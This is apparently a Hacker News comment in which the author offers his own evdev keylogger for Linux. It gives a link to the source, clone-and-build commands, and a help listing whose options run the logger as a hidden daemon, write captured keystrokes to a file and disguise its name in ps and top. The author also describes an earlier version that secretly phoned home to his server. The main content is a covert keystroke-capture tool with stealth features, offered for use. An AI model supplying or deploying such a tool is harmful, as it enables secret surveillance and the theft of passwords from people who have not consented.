Here's a solid way to log actual keys from the keyboard (rather than just terminal input) using evdev. It's not good for, say, logging keys of a headless server, but it is good for logging keystrokes from a computer with a monitor and keyboard.<p>source code: <a href="http://git.zx2c4.com/evdev-keylogger/tree/" rel="nofollow">http://git.zx2c4.com/evdev-keylogger/tree/</a><p><pre><code> zx2c4@Thinkpad ~ $ git clone http://git.zx2c4.com/evdev-keylogger/
Cloning into 'evdev-keylogger'...
zx2c4@Thinkpad ~ $ cd evdev-keylogger/
zx2c4@Thinkpad ~/evdev-keylogger $ make
cc -O3 -march=native -fomit-frame-pointer -pipe logger.c keymap.c keymap.h evdev.c evdev.h process.c process.h -o logger
zx2c4@Thinkpad ~/evdev-keylogger $ ./logger -h
Evdev Keylogger by zx2c4
Usage: ./logger [OPTION]...
-d, --daemonize run as a background daemon
-f, --foreground run in the foreground (default)
-u, --force-us-keymap instead of auto-detection, force usage of built-in US keymap
-e DEVICE, --event-device=DEVICE use event device DEVICE (default=auto-detect)
-l FILE, --log-file=FILE write key log to FILE (default=stdout)
-p FILE, --pid-file=FILE write the pid of the process to FILE
-n NAME, --process-name=NAME change process name in ps and top to NAME
-h, --help display this message
</code></pre>
It has the ability to daemonize, log to a file, and mask itself in the process table. Far from what a real kernel rootkit logger could do, but instead it's clean and reliable.<p>I used to actually have this in my git repository with a little thing in there that would connect back to my server when run, and then I had a README and notices all over in the source code and makefile and everywhere that you should remove this part of the code before compiling, under all circumstances. Anybody reasonable would have seen the notices and removed the code. The idea was that this way I'd know how many script kiddies were abusing it, and if maybe it was a bad idea to keep it up there. Well, in fact I did get a lot of connections, and it was kind of horrible to see. Then I forgot about it, until seeing this post. So I figured, either I take it down, because script kiddies, not people who are merely curious to see how a key logger works, are using it, or I keep it up there. In the end, I decided to stop being a dick, remove the connection thinger, and now the HN crowd will hopefully find something interesting to learn in it. A failed experiment at dealing with the script kiddie situation, oh well. At least, now, my code is untainted.<p>Anyway feel free to email me or leave a comment here if you find any bugs or have patches, or whatever. The code should be pretty basic to understand.